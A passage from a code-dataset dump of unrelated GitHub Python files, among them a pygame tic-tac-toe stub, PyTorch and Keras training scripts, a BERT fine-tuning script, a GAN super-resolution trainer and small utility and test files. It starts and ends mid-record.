wrapper\n","repo_name":"jayantkageri/tgEasy","sub_path":"tgEasy/decorater/command.py","file_name":"command.py","file_ext":"py","file_size_in_byte":5065,"program_lang":"python","lang":"en","doc_type":"code","stars":35,"dataset":"github-code","pt":"82"} +{"seq_id":"28477224427","text":"#game plan\r\n'''\r\nbg music\r\nbuild setup package\r\ncreate a intro scene with bg image where it shows game developed by and about game and on clicking button\r\nhow to play shows instruction\r\ncreate a second scene where it asks user its name and also allows to select multiplayer or\r\nagainst computer and also fav bg colour to pick\r\nthird scene is main game scene to play tic tac toe\r\nsound effect for wrong move and winning\r\nfourth scene for result and play again or quit option\r\n'''\r\n\r\nimport sys\r\nimport pygame\r\nfrom pygame.locals import *\r\n\r\nclass gamestate:\r\n def __init__(self):\r\n self.screenid= 0\r\n \r\n def intro(self):\r\n for event in pygame.event.get():\r\n if event.type == QUIT:\r\n pygame.quit()\r\n sys.exit()\r\n if event.type == pygame.MOUSEBUTTONDOWN:\r\n self.screenid= 1\r\n App.screen.fill((255,0,0))\r\n pygame.display.update()\r\n \r\n def game(self):\r\n for event in pygame.event.get():\r\n if event.type == QUIT:\r\n pygame.quit()\r\n sys.exit()\r\n \r\n App.screen.fill((0,0,255))\r\n pygame.display.update()\r\n def scene_manager(self):\r\n if self.screenid == 0:\r\n self.intro()\r\n if self.screenid == 1:\r\n self.game()\r\nclass App:\r\n def __init__(self):#inialize pygame\r\n pygame.init()\r\n flags = RESIZABLE\r\n App.screen = pygame.display.set_mode((640, 240), flags)\r\n App.running = True\r\n def run(self):#main loop\r\n gs=gamestate()\r\n while App.running:\r\n gs.scene_manager()\r\n \r\n pygame.quit()\r\n \r\nif __name__ == '__main__':\r\n App().run()","repo_name":"grbpdl/Py_game","sub_path":"tictaoe.py","file_name":"tictaoe.py","file_ext":"py","file_size_in_byte":1811,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"32451306851","text":"import matplotlib.pyplot as plt\n\nthreads_x = [1, 2, 3, 4]\n\n# times of single lock tree\nconc_y = [1.265759, 2.880477, 4.676656, 6.576530]\nplt.plot(threads_x, conc_y, marker='.', label='single lock b-tree')\n\n# times of individual node lock tree\nhoh_y = [1.610825, 5.876285, 16.454166, 24.092482]\nplt.plot(threads_x, hoh_y, marker='.', label='individual node lock b-tree')\n\n\n# label the x and y axes\nplt.xlabel(\"Threads\")\nplt.ylabel(\"Time (seconds)\")\n\n# give the graph a title\nplt.title(\"Concurrent Binary Trees\")\n\n# make the legend\nplt.legend()\nplt.savefig(\"treeplot.png\", dpi=300)\n\nplt.show()\n","repo_name":"breakthatbass/OStep","sub_path":"chap29/treeplot.py","file_name":"treeplot.py","file_ext":"py","file_size_in_byte":592,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"71015102030","text":"from typing import Optional, Any\nfrom torch import nn, Tensor\nfrom modelling.models.verification_model import VerificationModel\nfrom representation.acquisition.representation_extraction import RepresentationExtractor\nfrom representation.acquisition.representation_save_hook import FileSystemHook\n\n\nclass ReflectionVerificationModel(VerificationModel):\n def __init__(self,\n inner: nn.Module,\n reps_cache_path: str,\n verification_score_calc: nn.Module = None,\n layers_extractor: Optional[object] = None):\n \"\"\"\n A model with a verification mode, using reflection to save representations to local FS and loading them back\n :param inner: The actual model to use\n :param reps_cache_path: Where to save the representations (temporarily)\n :param verification_score_calc: How to calculate verification score_calc\n :param layers_extractor: Class extracting which layers to use in order to extract representations\n \"\"\"\n super(self, VerificationModel).__init__()\n self.__inner = inner\n self.__layers_extractor = layers_extractor\n self.__reps_cache_path = reps_cache_path\n self.__verification_score_calc = verification_score_calc\n\n def set_verification_model(self, layers_extractor) -> None:\n self.__layers_extractor = layers_extractor\n\n def forward(self, t1: Tensor, t2: Optional[Tensor] = None) -> Any:\n if not self.verify:\n return self.__inner(t1)\n else:\n re = RepresentationExtractor(self.__inner,\n self.__layers_extractor(self.__inner),\n FileSystemHook(self.__layers_extractor(self.__inner), self.__reps_cache_path,\n delete_after_load=True))\n\n rep1 = re.get_layers_representation(t1, 'key1')\n rep2 = None\n if t2 is not None:\n rep2 = re.get_layers_representation(t2, 'key2')\n\n del re\n\n # if the model should work on 2 tensors:\n if rep2 is not None:\n # if the model should produce verifications\n if self.__verification_score_calc is not None:\n verification_output = {}\n for key in rep1:\n verification_output[key] = self.__verification_score_calc(rep1[key], rep2[key])\n return verification_output\n # if the model should produce representations\n else:\n return rep1, rep2\n # if the model should produce single tensor representations\n else:\n return rep1\n","repo_name":"gylab-TAU/facial_feature_impact_comparison","sub_path":"modelling/models/reflection_verification_model.py","file_name":"reflection_verification_model.py","file_ext":"py","file_size_in_byte":2752,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"20014115973","text":"\nimport numpy as np\nimport tensorflow as tf\nimport random\nimport os\n\nimport keras\nimport keras.backend as K\n\nimport nibabel as nib\nfrom medpy.io import load\nfrom medpy.io import save\n\n\nTRAIN_IMAGE_DIR = '/data/train/image'\nTRAIN_LABEL_DIR = '/data/train/label'\nTEST_IMAGE_DIR = '/data/test'\nMODEL_DIR = '/data/model'\nOUPUT_DIR = '/data/output'\n\n\ntr_image_list = [f for f in os.listdir(TRAIN_IMAGE_DIR) if os.path.isfile(os.path.join(TRAIN_IMAGE_DIR, f))]\ntr_label_list = [f for f in os.listdir(TRAIN_LABEL_DIR) if os.path.isfile(os.path.join(TRAIN_LABEL_DIR, f))]\nts_image_list = [f for f in os.listdir(TEST_IMAGE_DIR) if os.path.isfile(os.path.join(TEST_IMAGE_DIR, f))]\n\n\ndef batch_data_load(batch_size = 4):\n \n origin_img_shape = []\n x_rtn = []\n y_rtn = []\n \n random_idx = random.sample(range(0, len(tr_label_list)), batch_size)\n\n # For Testing \n random_idx = [i for i in range(165,175)]\n \n for i in range(len(random_idx)):\n \n# print (tr_image_list[random_idx[i]*2])\n# print (tr_label_list[random_idx[i]])\n \n image_data, image_header = load(os.path.join(TRAIN_IMAGE_DIR, tr_image_list[random_idx[i]*2]))\n label_data, label_header = load(os.path.join(TRAIN_LABEL_DIR, tr_label_list[random_idx[i]]))\n \n origin_img_shape.append(image_data.shape)\n \n print (image_data.shape, label_data.shape)\n \n w, h, d = image_data.shape\n \n for j in range(int(d/5)):\n x_rtn.append(image_data[:,:,j*5:(j+1)*5])\n y_rtn.append(label_data[:,:,j*5:(j+1)*5])\n # x_rtn.append(image_data)\n # y_rtn.append(label_data)\n \n return np.array(x_rtn), np.array(y_rtn), origin_img_shape #x_rtn, y_rtn, origin_img_shape\n #np.array(x_rtn), np.array(y_rtn), origin_img_shape#np.expand_dims(np.array(x_rtn),axis=4), np.expand_dims(np.array(y_rtn), axis=4)\n \n\nimg_size = 8\n\nX_data, y, ori_img_shape = batch_data_load(batch_size = img_size)\nprint (X_data.shape, y.shape)\n\nX_data = np.expand_dims(X_data, axis=4)\ny = np.expand_dims(y, axis=4)\nprint (X_data.shape, y.shape)\ntr_size = int(len(X_data)*0.8)\n\nX_train = X_data[:tr_size]\ny_train = y[:tr_size]\nX_valid = X_data[tr_size:]\ny_valid = y[tr_size:]\n\n\n\n\nfrom keras import layers\nfrom keras.layers import Input, Dense, Conv3D, MaxPooling3D, AveragePooling3D, UpSampling3D, Flatten, Reshape, Dropout, Conv3DTranspose\nfrom keras.layers import Concatenate, BatchNormalization, Add\nfrom keras.models import Model, Sequential\nfrom keras.layers import InputLayer\nfrom keras.utils.training_utils import multi_gpu_model\nfrom keras.models import load_model\n\n\n\n\nK.clear_session()\ndef make_model(image_data):\n \n im_h,im_w,im_d, im_c = image_data[0].shape\n print (image_data[0].shape)\n \n input_data = Input(shape=(image_data[0].shape))\n \n x = Conv3D(256, kernel_size=(3, 3, 3), padding='same', strides=(1, 1, 1))(input_data)\n x = layers.Activation('relu')(x)\n x = BatchNormalization()(x)\n x = Conv3D(128, kernel_size=(3, 3, 3), padding='same', strides=(1, 1, 1))(x)\n x = layers.Activation('relu')(x)\n x = BatchNormalization()(x)\n x = Conv3D(64, kernel_size=(3, 3, 3), padding='same', strides=(1, 1, 1))(x)\n x = layers.Activation('relu')(x)\n x = BatchNormalization()(x)\n x = Conv3D(32, kernel_size=(3, 3, 3), padding='same', strides=(1, 1, 1))(x)\n x = layers.Activation('relu')(x)\n x = BatchNormalization()(x)\n x = Conv3D(1, kernel_size=(3, 3, 3), padding='same', strides=(1, 1, 1))(x)\n x = layers.Activation('relu')(x)\n x = BatchNormalization()(x)\n #x = MaxPooling3D(pool_size=(2,2,2))(x)\n print (x.shape)\n \n output = x\n\n model = Model(inputs=input_data, outputs=output)\n \n return model\n\nwith tf.device(\"/gpu:0\"):\n model = make_model(X_data)\nprint (model.summary())\n\n\nfrom keras.callbacks import ModelCheckpoint\nfrom keras.optimizers import SGD, Adam\n\nfrom keras.callbacks import Callback\n\nclass SGDLearningRateTracker(Callback):\n def on_epoch_end(self, epoch, logs={}):\n optimizer = self.model.optimizer\n lr = K.eval(optimizer.lr) # K.eval(optimizer.lr * (1. / (1. + optimizer.decay * optimizer.iterations)))\n print('LR: {:.6f}'.format(lr))\n\n#tb_hist = keras.callbacks.TensorBoard(log_dir=MODEL_DIR, histogram_freq=0, write_graph=True, write_images=True)\nearly_stopping = keras.callbacks.EarlyStopping(monitor='mean_squared_error', min_delta=0, patience=100, verbose=0, mode='min')\n\n\nimport time\nstart_time = time.time() \nEPOCHS = 2\nLRATE = 0.001\n\nmodel.compile(loss=['mean_squared_error'], optimizer=Adam(lr=LRATE, decay=0.01), metrics=['mean_squared_error'])\nhistory = model.fit(X_train , y_train,\n batch_size=8,\n epochs=EPOCHS,\n callbacks=[early_stopping],# SGDLearningRateTracker()],\n shuffle = True,\n verbose=2\n ,validation_data=(X_valid, y_valid)\n )\n\nend_time = time.time()\nprint(\"--- Train Time : %0.2f hour ---\" %( (end_time - start_time)/3600 ))\n\nsave_model_name = 'tumor_test.h5'\nmodel.save(os.path.join(MODEL_DIR,save_model_name))\n","repo_name":"giallo41/medical-image","sub_path":"model_fit.py","file_name":"model_fit.py","file_ext":"py","file_size_in_byte":5161,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"8323776789","text":"from collections import namedtuple\nimport pickle\n\nAnimal = namedtuple('Animal', ['name', 'family', 'sex', 'color'])\n\nwith open('data.pkl', 'rb') as file:\n obj = pickle.load(file)\n for elm in obj:\n print(f'name: {elm.name}', f'family: {elm.family}', f'sex: {elm.sex}', f'color: {elm.color}', sep='\\n')\n print()\n","repo_name":"Muzyria/Python","sub_path":"Stepik/Pokolenie_Python_kurs_dlya_professionalov/6_4_10.py","file_name":"6_4_10.py","file_ext":"py","file_size_in_byte":330,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"20340092865","text":"# -*-coding:utf-8 -*-\nimport numpy as np\nimport torch\nfrom torch.utils.data import DataLoader\nfrom datasets import load_dataset\nfrom datasets import ClassLabel, load_metric\nfrom tqdm.auto import tqdm\nfrom transformers import get_scheduler, AdamW\nfrom transformers import AutoTokenizer, AutoModelForSequenceClassification\nfrom transformers import DataCollatorWithPadding\n\n\nraw_datasets = load_dataset('./dataset/examples')\nmodel_path = '../model/bert-base-chinese'\ntokenizer = AutoTokenizer.from_pretrained(model_path)\n\n\ndef tokenize_function(example):\n return tokenizer(example['sentence'], max_length=32, truncation=True)\n\n\ntokenized_datasets = raw_datasets.map(tokenize_function, batched=True)\ndata_collator = DataCollatorWithPadding(tokenizer=tokenizer)\ntokenized_datasets = tokenized_datasets.remove_columns(\n ['labelid', 'labelname', 'sentence'])\ntokenized_datasets = tokenized_datasets.rename_column('label', 'labels')\ntokenized_datasets.set_format('torch')\n\nprint(tokenized_datasets['train'].column_names)\ntrain_dataloader = DataLoader(\n tokenized_datasets['train'], shuffle=True, batch_size=8, collate_fn=data_collator)\neval_dataloader = DataLoader(\n tokenized_datasets['validation'], batch_size=32, collate_fn=data_collator)\ntest_dataloader = DataLoader(\n tokenized_datasets['test'], batch_size=16, collate_fn=data_collator)\nmodel = AutoModelForSequenceClassification.from_pretrained(\n model_path, num_labels=2)\noptimizer = AdamW(model.parameters(), lr=5e-5)\nnum_epochs = 1\nnum_training_steps = num_epochs * len(train_dataloader)\nprint(num_training_steps)\nlr_scheduler = get_scheduler(\n 'Linear',\n optimizer=optimizer,\n num_warmup_steps=0,\n num_training_steps=num_training_steps)\n\ndevice = torch.device(\n 'cuda') if torch.cuda.is_available() else torch.device('cpu')\nmodel.to(device)\n\n\ndef compute_metrics(model, eval_dataloader, device):\n metric = load_metric('accuracy')\n model.eval()\n loss = []\n for batch in eval_dataloader:\n batch = {k: v.to(device) for k, v in batch.items()}\n with torch.no_grad():\n outputs = model(**batch)\n logits = outputs.logits\n loss.append(outputs, loss)\n predictions = torch.argmax(logits, dim=-1)\n metric.add_batch(predictions=predictions, references=batch['labels'])\n loss = np.mean(np.array(loss))\n print('loss:', loss)\n print(metric.compute())\n\n\nprogress_bar = tqdm(range(num_training_steps))\nmodel.train()\nfor epoch in range(num_epochs):\n print('epoch:', epoch)\n for batch in train_dataloader:\n batch = {k: v.to(device) for k, v in batch.items()}\n outputs = model(**batch)\n loss = outputs.loss\n loss.backward()\n optimizer.step()\n lr_scheduler.step()\n optimizer.zero_grad()\n progress_bar.update(1)\n compute_metrics(model, eval_dataloader, device)\n compute_metrics(model, test_dataloader, device)\nmodel.save_pretrained('./checkpoint')\n","repo_name":"shanengcn/transformers_egs","sub_path":"text_classification/finetune.py","file_name":"finetune.py","file_ext":"py","file_size_in_byte":2961,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"7280772413","text":"from torch.utils.data import Dataset, DataLoader\nimport numpy as np\nimport os\nimport random\nimport torch\nfrom PIL import Image\nimport torchvision.transforms as transforms\nimport torchvision.transforms.functional as F\nfrom dataPrepare.my_prepare_data import calculate_pitch_yaw_roll\n\n\nclass MyDataset(Dataset):\n def __init__(self, dataset_dir, seed=None, mode=\"train\", train_val_ratio=0.9, trans=None):\n if seed is None:\n seed = random.randint(0, 65536)\n random.seed(seed)\n self.dataset_dir = dataset_dir\n self.mode = mode\n if mode==\"val\":\n mode = \"train\"\n self.img_dir = os.path.join(dataset_dir, mode) # 图片存储的文件夹\n img_list_txt = os.path.join(dataset_dir, mode+\".txt\") # 储存图片位置的列表\n label_csv = os.path.join(dataset_dir, mode+\".csv\") # 储存标签的数组文件\n self.img_list = []\n self.label = np.loadtxt(label_csv, delimiter=',') # 读取标签数组文件\n # 读取图片位置文件\n with open(img_list_txt, 'r') as f:\n for line in f.readlines():\n self.img_list.append(line.strip())\n # 在mode=train或val时, 将数据进行切分\n # 注意在mode=\"val\"时,传入的随机种子seed要和mode=\"train\"相同\n self.num_all_data = len(self.img_list)\n all_ids = list(range(self.num_all_data))\n num_train = int(train_val_ratio*self.num_all_data)\n if self.mode == \"train\":\n self.use_ids = all_ids[:num_train]\n elif self.mode == \"val\":\n self.use_ids = all_ids[num_train:]\n else:\n self.use_ids = all_ids\n\n # 储存数据增广函数\n self.trans = trans\n\n def __len__(self):\n return len(self.use_ids)\n\n def __getitem__(self, item):\n id = self.use_ids[item]\n label = torch.tensor(self.label[id, :])\n img_path = self.img_list[id]\n img = Image.open(img_path)\n if self.trans is None:\n trans = transforms.Compose([\n transforms.Resize((112, 112)),\n transforms.ToTensor(),\n ])\n img = trans(img)\n else:\n trans = self.trans\n img, label = trans(img, label) # 图像预处理&数据增广\n # os.system(\"pause\")\n # transforms.ToPILImage()(img).show() # for debug\n # print(label)\n return img, label\n\n\nclass DataAugmentation(object):\n \"\"\"\n 用于数据增广的类\n \"\"\"\n def __init__(self):\n \"\"\"\n :param methods: list[str], 传入数据增广的方法列表,用字符串描述,���选参数如下:\n \"random_horizontal_flip\" : 随机水平翻转\n self._random_horizontal_flip,\n self._get_angles,`\n \"\"\"\n self.methods = [\n\n self._my_resize,\n self._my_totensor]\n\n def __call__(self, img, labels):\n \"\"\"\n 调用数据增广列表的函数\n :param img: 待处理图像\n :param labels: 对应的样本标签\n :return: 处理后的图像和标签\n \"\"\"\n for method in self.methods:\n img, labels = method(img, labels)\n return img, labels\n\n @staticmethod\n def _random_horizontal_flip(img, labels, p=0.5):\n \"\"\"\n 概率p=0.5,随机水平翻转,并处理标签\n :param img: PIL.Image类型, 输入图像\n :param labels: 图像对应的标签(已归一化)\n :param p: 水平翻转概率\n :return: 处理后的img和labels\n \"\"\"\n isFlip = (random.random() > p)\n if isFlip:\n img = img.transpose(Image.FLIP_LEFT_RIGHT)\n kps = labels[:196]\n kps = kps.reshape(-1, 2)\n kps[:, 0] = 1 - kps[:, 0]\n kps = kps.reshape(-1)\n labels[:196] = kps\n if False:\n imgdraw = ImageDraw.Draw(img)\n imgsize = img.size[0]\n for i in range(kps.shape[0]//2):\n x = int(imgsize*kps[i*2])\n y = int(imgsize*kps[i*2+1])\n imgdraw.point((x,y), (255,0,0))\n return img, labels\n\n @staticmethod\n def _my_resize(img, labels):\n img = img.resize((112,112), Image.BICUBIC)\n return img, labels\n\n @staticmethod\n def _my_totensor(img, labels):\n img = F.to_tensor(img)\n return img, labels\n\n @staticmethod\n def _get_angles(img, labels):\n \"\"\"\n 获取经过图像预处理后的欧拉角\n \"\"\"\n kps = labels[:196]\n kps = kps.reshape(-1, 2)\n kps = kps.data.numpy()\n angles = calculate_pitch_yaw_roll(kps, n_points=98)\n labels[206] = angles[0]\n labels[207] = angles[1]\n labels[208] = angles[2]\n return img, labels\n\nif __name__ == '__main__':\n dataset_dir = \"I:\\Dataset\\WFLW\\WFLW_for_PFLD\"\n dataset = MyDataset(dataset_dir)\n dataloader = DataLoader(dataset, 1)\n for i in enumerate(dataloader):\n input(\"press enter to continue\")","repo_name":"lavendelion/my-PFLD-pytorch","sub_path":"data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":5098,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"82"} +{"seq_id":"39670158407","text":"# -*- coding:utf-8 -*-\n\n__author__ = 'Yi'\n\nimport argparse\nimport os\nimport pickle\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom dataset import DSDataset, tensorify_img\nfrom torch.utils.data import DataLoader\nfrom torchvision.utils import save_image\n\nos.makedirs('images', exist_ok=True)\nos.makedirs('wts', exist_ok=True)\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--n_epochs', type=int, default=200, help='number of epochs of training')\nparser.add_argument('--batch_size', type=int, default=256, help='size of the batches')\nparser.add_argument('--lr', type=float, default=0.0001, help='adam: learning rate')\nparser.add_argument('--b1', type=float, default=0.5, help='adam: decay of first order momentum of gradient')\nparser.add_argument('--b2', type=float, default=0.999, help='adam: decay of first order momentum of gradient')\n# parser.add_argument('--n_cpu', type=int, default=8, help='number of cpu threads to use during batch generation')\n# parser.add_argument('--latent_dim', type=int, default=100, help='dimensionality of the latent space')\n# parser.add_argument('--img_size', type=int, default=32, help='size of each image dimension')\n# parser.add_argument('--channels', type=int, default=1, help='number of image channels')\n# parser.add_argument('--sample_interval', type=int, default=100, help='interval between image sampling')\nopt = parser.parse_args()\nprint(opt)\n\ncuda = True if torch.cuda.is_available() else False\n\n\ndef weights_init_normal(m):\n classname = m.__class__.__name__\n if classname.find('Conv') != -1:\n torch.nn.init.normal_(m.weight.data, 0.0, 0.02)\n elif classname.find('BatchNorm2d') != -1:\n torch.nn.init.normal_(m.weight.data, 1.0, 0.02)\n torch.nn.init.constant_(m.bias.data, 0.0)\n\n\nclass Generator(nn.Module):\n def __init__(self):\n super(Generator, self).__init__()\n\n # self.features = nn.Sequential(\n # nn.Conv2d(3, 64, 3, 1, 1),\n # nn.BatchNorm2d(64),\n # nn.ReLU(),\n # nn.Conv2d(64, 128, 3, 1, 1),\n # nn.BatchNorm2d(128),\n # nn.ReLU(),\n # nn.Upsample(scale_factor=2),\n # nn.Conv2d(128, 64, 3, 1, 1),\n # nn.BatchNorm2d(64),\n # nn.ReLU(),\n # nn.Conv2d(64, 32, 3, 1, 1),\n # nn.BatchNorm2d(32),\n # nn.ReLU(),\n # )\n\n # --x2--\n # self.features = nn.Sequential(\n # nn.Conv2d(3, 64, 3, 1, 1),\n # nn.BatchNorm2d(64),\n # nn.ReLU(),\n #\n # nn.Conv2d(64, 128, 3, 1, 1),\n # nn.BatchNorm2d(128),\n # nn.ReLU(),\n #\n # nn.Conv2d(128, 256, 3, 1, 1),\n # nn.BatchNorm2d(256),\n # nn.ReLU(),\n #\n # nn.Upsample(scale_factor=2),\n #\n # nn.Conv2d(256, 128, 3, 1, 1),\n # nn.BatchNorm2d(128),\n # nn.ReLU(),\n #\n # nn.Conv2d(128, 64, 3, 1, 1),\n # nn.BatchNorm2d(64),\n # nn.ReLU(),\n #\n # nn.Conv2d(64, 32, 3, 1, 1),\n # nn.BatchNorm2d(32),\n # nn.ReLU(),\n # )\n\n self.features = nn.Sequential(\n nn.Conv2d(3, 64, 3, 1, 1),\n nn.BatchNorm2d(64),\n nn.ReLU(),\n\n nn.Conv2d(64, 128, 3, 1, 1),\n nn.BatchNorm2d(128),\n nn.ReLU(),\n\n nn.Conv2d(128, 256, 3, 1, 1),\n nn.BatchNorm2d(256),\n nn.ReLU(),\n\n nn.Upsample(scale_factor=2),\n\n nn.Conv2d(256, 256, 3, 1, 1),\n nn.BatchNorm2d(256),\n nn.ReLU(),\n\n nn.Conv2d(256, 128, 3, 1, 1),\n nn.BatchNorm2d(128),\n nn.ReLU(),\n\n nn.Upsample(scale_factor=2),\n\n nn.Conv2d(128, 64, 3, 1, 1),\n nn.BatchNorm2d(64),\n nn.ReLU(),\n\n nn.Conv2d(64, 32, 3, 1, 1),\n nn.BatchNorm2d(32),\n nn.ReLU(),\n )\n\n self.merge = nn.Sequential(\n nn.Conv2d(32 + 3, 3, 1, 1, 0),\n nn.Tanh()\n )\n\n def forward(self, x):\n scale_factor = 256 / x.size(2)\n y = F.upsample(x, scale_factor=scale_factor)\n z = self.features(x)\n z = torch.cat([y, z], dim=1)\n return self.merge(z)\n\n\n# class Discriminator(nn.Module):\n# def __init__(self, imgsize=256):\n# super(Discriminator, self).__init__()\n#\n# def discriminator_block(in_filters, out_filters, bn=True):\n# block = [nn.Conv2d(in_filters, out_filters, 3, 2, 1),\n# nn.LeakyReLU(0.2, inplace=True),\n# nn.Dropout2d(0.25)]\n# if bn:\n# block.append(nn.BatchNorm2d(out_filters, 0.8))\n# return block\n#\n# self.model = nn.Sequential(\n# *discriminator_block(3, 16, bn=False),\n# *discriminator_block(16, 32),\n# *discriminator_block(32, 64),\n# *discriminator_block(64, 128),\n# )\n#\n# ds_size = imgsize // 2 ** 4\n# self.adv_layer = nn.Sequential(nn.Linear(128 * ds_size ** 2, 1))\n#\n# def forward(self, img):\n# out = self.model(img)\n# out = out.view(out.size(0), -1)\n# validity = self.adv_layer(out).view(-1)\n# return validity\n\nclass Discriminator(nn.Module):\n def __init__(self, imgsize=256):\n super(Discriminator, self).__init__()\n\n self.features = nn.Sequential(\n nn.Conv2d(3, 64, kernel_size=7, stride=2, padding=3, bias=False),\n nn.ReLU(inplace=True),\n nn.MaxPool2d(kernel_size=3, stride=2, padding=1),\n\n nn.Conv2d(64, 128, kernel_size=5, padding=2),\n nn.ReLU(inplace=True),\n nn.MaxPool2d(kernel_size=3, stride=2, padding=1),\n\n nn.Conv2d(128, 256, kernel_size=3, padding=1),\n nn.ReLU(inplace=True),\n\n nn.Conv2d(256, 256, kernel_size=3, padding=1),\n nn.ReLU(inplace=True),\n nn.MaxPool2d(kernel_size=3, stride=2, padding=1),\n )\n\n ds_size = imgsize // 2 ** 4\n\n self.classifier = nn.Sequential(\n nn.Dropout(),\n nn.Linear(256 * ds_size ** 2, 1),\n )\n\n def forward(self, x):\n x = self.features(x)\n x = x.view(x.size(0), -1)\n x = self.classifier(x).view(-1)\n return x\n\n\ndef mean_loss(losses):\n return sum(losses) / len(losses)\n\n\nif __name__ == '__main__':\n\n root = \"/home/Yi/seeds\"\n paths = pickle.load(open(root + '/large.paths', 'rb'))\n\n dataset = DSDataset(paths, input_size=256, ds_ratio=0.25,\n tensorify=lambda x: tensorify_img(x, (0.5, 0.5, 0.5), (0.5, 0.5, 0.5)))\n\n # Loss function\n alpha = 0.01\n adversarial_loss = nn.BCEWithLogitsLoss()\n mae_loss = nn.MSELoss(reduction='mean')\n\n # Initialize generator and discriminator\n generator = Generator()\n discriminator = Discriminator()\n\n if cuda:\n generator = nn.DataParallel(generator).cuda()\n discriminator = nn.DataParallel(discriminator).cuda()\n adversarial_loss = adversarial_loss.cuda()\n mae_loss = mae_loss.cuda()\n\n # Initialize weights\n generator.apply(weights_init_normal)\n discriminator.apply(weights_init_normal)\n\n dataloader = DataLoader(dataset, batch_size=opt.batch_size, shuffle=True, num_workers=8, drop_last=True)\n\n # Optimizers\n optimizer_G = torch.optim.Adam(generator.parameters(), lr=opt.lr, betas=(opt.b1, opt.b2))\n optimizer_D = torch.optim.Adam(discriminator.parameters(), lr=opt.lr, betas=(opt.b1, opt.b2))\n\n Tensor = torch.cuda.FloatTensor if cuda else torch.FloatTensor\n\n # ----------\n # Training\n # ----------\n\n for epoch in range(opt.n_epochs):\n fool_losses = []\n dist_losses = []\n disc_losses = []\n\n for i, (real_imgs, input_imgs, label) in enumerate(dataloader):\n # Adversarial ground truths\n valid = Tensor(real_imgs.size(0), ).fill_(1.0)\n fake = Tensor(real_imgs.size(0), ).fill_(0.0)\n\n # Configure input\n if cuda:\n real_imgs = real_imgs.cuda()\n input_imgs = input_imgs.cuda()\n\n # -----------------\n # Train Generator\n # -----------------\n\n optimizer_G.zero_grad()\n\n # Generate a batch of images\n gen_imgs = generator(input_imgs)\n preds = discriminator(gen_imgs)\n\n # Loss measures generator's ability to fool the discriminator\n fool_loss = adversarial_loss(preds, valid) # here set target is valid but not fake\n dist_loss = mae_loss(gen_imgs, real_imgs)\n\n g_loss = dist_loss + alpha * fool_loss\n g_loss.backward()\n optimizer_G.step()\n\n # ---------------------\n # Train Discriminator\n # ---------------------\n\n optimizer_D.zero_grad()\n\n # Measure discriminator's ability to classify real from generated samples\n real_loss = adversarial_loss(discriminator(real_imgs), valid)\n fake_loss = adversarial_loss(discriminator(gen_imgs.detach()), fake)\n d_loss = (real_loss + fake_loss) / 2.0\n\n d_loss.backward()\n optimizer_D.step()\n\n fool_losses.append(fool_loss.item())\n dist_losses.append(dist_loss.item())\n disc_losses.append(d_loss.item())\n\n print(\"[Epoch %d/%d] [D loss: %.2f] [fool: %.2f] [dist: %.2f]\" % (\n epoch, opt.n_epochs, mean_loss(disc_losses), mean_loss(fool_losses), mean_loss(dist_losses)))\n\n save_image(gen_imgs.data[:16], 'images/epoch-{}.png'.format(epoch), nrow=4, normalize=True, scale_each=True)\n torch.save(generator.module.state_dict(), 'wts/{}.pth'.format(epoch))\n","repo_name":"WuZhuoran/Plant_Seedlings_Classification","sub_path":"src/GAN&Loss/dcgan.py","file_name":"dcgan.py","file_ext":"py","file_size_in_byte":9833,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"82"} +{"seq_id":"26766497407","text":"import json\n\nfrom django import http, test, urls\nfrom rest_framework import status\n\nfrom main import views\n\n\ndef fake_view(request):\n raise http.Http404\n\n\nurlpatterns = [\n urls.path(\"404/\", fake_view),\n]\n\nhandler404 = views.not_found\n\n\n@test.override_settings(ROOT_URLCONF=__name__)\ndef test_bad_request(rf):\n request = rf.get(\"/404/\")\n response = views.not_found(request)\n assert response.status_code == status.HTTP_404_NOT_FOUND\n assert len(json.loads(response.content)) > 0\n","repo_name":"ptrhvns/meals-django-cra-untyped","sub_path":"api/main/tests/views/not_found_test.py","file_name":"not_found_test.py","file_ext":"py","file_size_in_byte":495,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"32795355076","text":"import json\nimport logging\n\nfrom easyhandle.client import BasicAuthHandleClient\n\nSTREAM_TEMPLATE = '{}/storedquery/{}/dump'\nAPI_TEMPLATE = '{}/api/3/action/querystore_resolve?id={}'\nURL_TEMPLATE = '{}/storedquery/landingpage?id={}'\n\nlogger = logging.getLogger(__name__)\n\nconfig = json.load(open('config.json', 'r'))\nclient = BasicAuthHandleClient.load_from_config(config['handle'])\n\n\ndef verify_handle_resolves_to_pid(handle_pid, internal_id):\n result = client.get_handle(handle_pid)\n values = result.json()['values']\n\n for value in values:\n if value['type'] == 'URL':\n assert value['data']['value'] == URL_TEMPLATE.format(config['ckan']['site_url'], internal_id)\n elif value['type'] == 'API_URL':\n assert value['data']['value'] == API_TEMPLATE.format(config['ckan']['site_url'], internal_id)\n elif value['type'] == 'STREAM_URL':\n assert value['data']['value'] == STREAM_TEMPLATE.format(config['ckan']['site_url'], internal_id)\n","repo_name":"fwoerister/ckanext-mongodatastore-evaluation","sub_path":"evaluation/util/handle.py","file_name":"handle.py","file_ext":"py","file_size_in_byte":991,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"24650457319","text":"from aqt import gui_hooks\nfrom aqt.reviewer import Reviewer, ReviewerBottomBar\nfrom anki.cards import Card\nfrom typing import Any, Callable, Tuple\nfrom anki.sched import Scheduler \nfrom aqt.utils import showWarning\nfrom aqt.utils import tr, TR\n\n# Do this monkey patching as long as the hooks have not been added to the real code\ndef _updateRevIvl_MonkeyPatched(self, card: Card, ease: int) -> None:\n idealIvl = self._nextRevIvl(card, ease)\n newIvl = min(\n 